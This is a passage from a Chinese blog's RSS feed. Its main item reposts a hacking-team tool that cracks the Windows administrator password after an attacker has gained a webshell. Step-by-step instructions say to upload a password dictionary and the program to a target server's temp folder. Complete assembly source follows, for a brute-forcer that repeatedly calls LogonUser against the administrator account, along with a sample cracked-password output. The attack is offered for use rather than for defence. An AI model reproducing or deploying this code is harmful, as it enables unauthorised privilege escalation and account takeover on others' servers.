2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeuestee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Webshell下破解计算机管理员密码</title>
		<link>http://www.5bay.cn/server-building/webshelleechueeee.html</link>
		<comments>http://www.5bay.cn/server-building/webshelleechueeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:30:06 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=515</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/webshelleechueeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>软件作者：taiwansee 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 这个idea源自以前学runas命令时候的启发。 使用方法：     1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\     2、把程序上传到c:\windows\temp\中，然后运行它。     3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，        如果为空就说明还没破解完，另选时间再回来看。 特点：     不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。     默认破解administrator用户的密码。要破其它，请自行修改代码。 result_.txt示例： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ The administrator&#8217;s password is: tester The program had tried 32653 times! Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s. －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 源代码如下： AdminPassCrack.asm文件 复制内容到剪贴板代码: ;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; ;                AdminPassCracker ; ;                                By taiwansee        2008.10.23 ; ; 使用 nmake 或下列命令进行编译和链接: ; ml /c /coff AdminPassCracker.asm ; [...]]]></description>
			<content:encoded><![CDATA[<p>软件作者：taiwansee<br />
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>这个idea源自以前学runas命令时候的启发。</p>
<p>使用方法：<br />
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\<br />
    2、把程序上传到c:\windows\temp\中，然后运行它。<br />
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，<br />
       如果为空就说明还没破解完，另选时间再回来看。</p>
<p>特点：<br />
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。<br />
    默认破解administrator用户的密码。要破其它，请自行修改代码。<br />
<span id="more-515"></span><br />
result_.txt示例：<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
The administrator&#8217;s password is: tester<br />
The program had tried 32653 times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
源代码如下：<br />
AdminPassCrack.asm文件<br />
复制内容到剪贴板代码:<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
;                AdminPassCracker<br />
;<br />
;                                By taiwansee        2008.10.23<br />
;<br />
; 使用 nmake 或下列命令进行编译和链接:<br />
; ml /c /coff AdminPassCracker.asm<br />
; Link /subsystem:windows AdminPassCracker.obj<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .386<br />
                .model flat, stdcall<br />
                option casemap :none<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; Include 文件定义<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
include                windows.inc<br />
include                user32.inc<br />
includelib        user32.lib<br />
include                kernel32.inc<br />
includelib        kernel32.lib<br />
include                Advapi32.inc<br />
includelib        Advapi32.lib<br />
include                _TotalTime.asm<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .const<br />
DEBUG                                equ        0</p>
<p>LOGON32_LOGON_NETWORK                equ     3<br />
LOGON32_PROVIDER_DEFAULT        equ        0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
align 4<br />
                .data?<br />
hModuleHandle                DWORD        ?<br />
szFileName                BYTE        MAX_<a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">PATH</a> dup(?)</p>
<p>                .data</p>
<p>szResultFile        BYTE        &#8217;result_.txt&#8217;,0<br />
szPswDic        BYTE        &#8217;psw.txt&#8217;,0<br />
szDomain        BYTE        &#8217;.',0<br />
szUserName        BYTE        &#8217;administrator&#8217;,0</p>
<p>szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah<br />
                        BYTE        &#8217;The program had tried %d times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8217;,0dh,0ah,0</p>
<p>szNoDicFileErr                BYTE        &#8217;Sorry,dic file not exists.&#8217;,0<br />
szCreateFileMappingErr        BYTE        &#8217;CreateFileMapping Error!&#8217;,0<br />
szMapViewOfFileErr        BYTE        &#8217;MapViewOfFile Error!&#8217;,0<br />
szNotFound                BYTE        &#8217;Password not found! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8216;,0dh,0ah,0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 代码段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .<a href="http://www.5bay.cn/tag/code" class="st_tag internal_tag" rel="tag" title="标签 code 下的日志">code</a><br />
align 4</p>
<p>_WinMain        proc<br />
        local        @hPswDic:DWORD,\<br />
                @szPswTmp[MAX_PATH]:BYTE,\<br />
                @dwPswDicFileSize:DWORD,\<br />
                @hResultFile:DWORD,\<br />
                @dwWritten:DWORD,\<br />
                @hPswDicFileMap:DWORD,\<br />
                @hToken:DWORD,\<br />
                @dwTriedTimes:DWORD,\<br />
                @szBuf[MAX_PATH]:BYTE,\<br />
                @dwContentLength:DWORD,\<br />
                @lpPswDic:DWORD,\<br />
                @lpNext:DWORD,\<br />
                @lpStart:DWORD,\<br />
                @dwStart:DWORD<br />
        <br />
;Create file to record results.<br />
        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\<br />
                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hResultFile,eax<br />
;Open Dictionary file.<br />
        invoke        CreateFile,offset szPswDic,GENERIC_READ,\<br />
                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hPswDic,eax</p>
<p>        invoke        GetFileSize,@hPswDic,NULL<br />
        mov        @dwPswDicFileSize,eax<br />
;**********CreateFileMapping**********<br />
        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\<br />
                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit        <br />
        .endif<br />
        mov        @hPswDicFileMap,eax<br />
;**********MapViewOfFile**********<br />
        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\<br />
                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @lpPswDic,eax<br />
        mov        @lpNext,eax<br />
        mov        @lpStart,eax<br />
        <br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        mov        @dwStart,eax</p>
<p>        xor        ecx,ecx        ;统计已经分析的字符个数<br />
        xor        eax,eax<br />
        mov        @dwTriedTimes,eax        ;统计尝试的次数</p>
<p>        .while        TRUE<br />
                cld<br />
                mov        esi,@lpStart<br />
                lea        edi,@szPswTmp<br />
        @@:<br />
                lodsb<br />
                .if        al!=0dh<br />
                        stosb<br />
                        inc        ecx<br />
                        .if        ecx==@dwPswDicFileSize<br />
                                jmp        @F<br />
                        .elseif        ecx&gt;@dwPswDicFileSize<br />
                                jmp        _NotFound<br />
                        .endif<br />
                        jmp        @B<br />
                .endif<br />
        @@:<br />
                add        ecx,2<br />
                xor        eax,eax<br />
                stosw                        ;用0结尾<br />
        <br />
                lea        eax,[esi+1]<br />
                mov        @lpNext,eax        ;修正到下一个密码</p>
<p>                push        ecx        ;保存计数值<br />
                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\<br />
                                  LOGON32_LOGON_NETWORK,\<br />
                                  LOGON32_PROVIDER_DEFAULT,\<br />
                                  addr @hToken<br />
                .if        eax==NULL<br />
                        pop        ecx        ;恢复计数值</p>
<p>                        push        @lpNext<br />
                        pop        @lpStart<br />
                        <br />
                        inc        @dwTriedTimes<br />
                        .continue<br />
                .else<br />
                        pop        ecx        ;堆栈平衡<br />
                        .break<br />
                .endif<br />
        .endw</p>
<p>        invoke        GetTickCount                ;计算使用的毫秒数,结束<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        <br />
        invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        </p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret</p>
<p>_NotFound:<br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        lstrcpy,addr @szBuf,offset szNotFound<br />
        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrcat,addr @szBuf,addr @szPswTmp</p>
<p>        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL</p>
<p>_Error_Exit:<br />
        xor        eax,eax<br />
        ret<br />
_WinMain        endp<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
start:<br />
        invoke        GetModuleHandle,NULL<br />
        mov        hModuleHandle,eax<br />
        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName<br />
        invoke        lstrlen,offset szFileName<br />
        cld<br />
        mov        esi,offset szFileName<br />
        add        esi,eax<br />
        std<br />
@@:<br />
        lodsb<br />
        cmp        al,5ch<br />
        jne        @B<br />
        mov        byte ptr [esi+2],0<br />
        cld<br />
        invoke        SetCurrentDirectory,offset szFileName<br />
        call        _WinMain<br />
        invoke        ExitProcess,NULL<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
        end        start<br />
_TotalTime.asm文件<br />
复制内容到剪贴板代码:<br />
                .data<br />
szResultFormat        BYTE        &#8217;Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.&#8217;,0dh,0ah,0</p>
<p>                .code<br />
;********************************************************<br />
;        _TotalTime<br />
;_lpBuf为调用者提供的接收结果缓冲区<br />
;_dwTotalTime为总耗时，一般来说，前面有<br />
;invoke        GetTickCount<br />
;sub        eax,@dwStart<br />
;这两条指令<br />
;_dwThingsHappend为在计时期间，关心的事件发生的次数<br />
;_FutrueExtention为将来拓展用<br />
;********************************************************<br />
_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention</p>
<p>local        @dwStart:DWORD,\<br />
        @dwMilliseconds:DWORD,\<br />
        @dwSecond:DWORD,\<br />
        @dwMinute:DWORD,\<br />
        @dwHour:DWORD,\<br />
        @dwSus:DWORD,\<br />
        @AVGSpeed:DWORD</p>
<p>        mov        eax,_dwTotalTime<br />
        ;时间换算<br />
        xor        edx,edx<br />
        mov        ebx,1000<br />
        <a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>        ebx<br />
        mov        @dwMilliseconds,edx        ;毫秒</p>
<p>        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwSecond,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwMinute,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,24<br />
        div        ebx<br />
        mov        @dwHour,edx<br />
        <br />
        ;计算平均速度:_dwThingsHappend÷_dwTotalTime<br />
        xor        edx,edx</p>
<p>        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)<br />
        mov        ebx,1000<br />
        mul        ebx</p>
<p>        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx<br />
        .if        ebx!=0<br />
                div        ebx<br />
                mov        @AVGSpeed,eax<br />
        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的<br />
                push        _dwThingsHappend<br />
                pop        @AVGSpeed<br />
        .endif</p>
<p>        invoke        wsprintf,_lpBuf,\<br />
                         offset szResultFormat,\<br />
                         @dwHour,\<br />
                         @dwMinute,\<br />
                         @dwSecond,\<br />
                         @dwMilliseconds,\<br />
                         @AVGSpeed</p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret<br />
_TotalTime        endp</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/webshelleechueeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
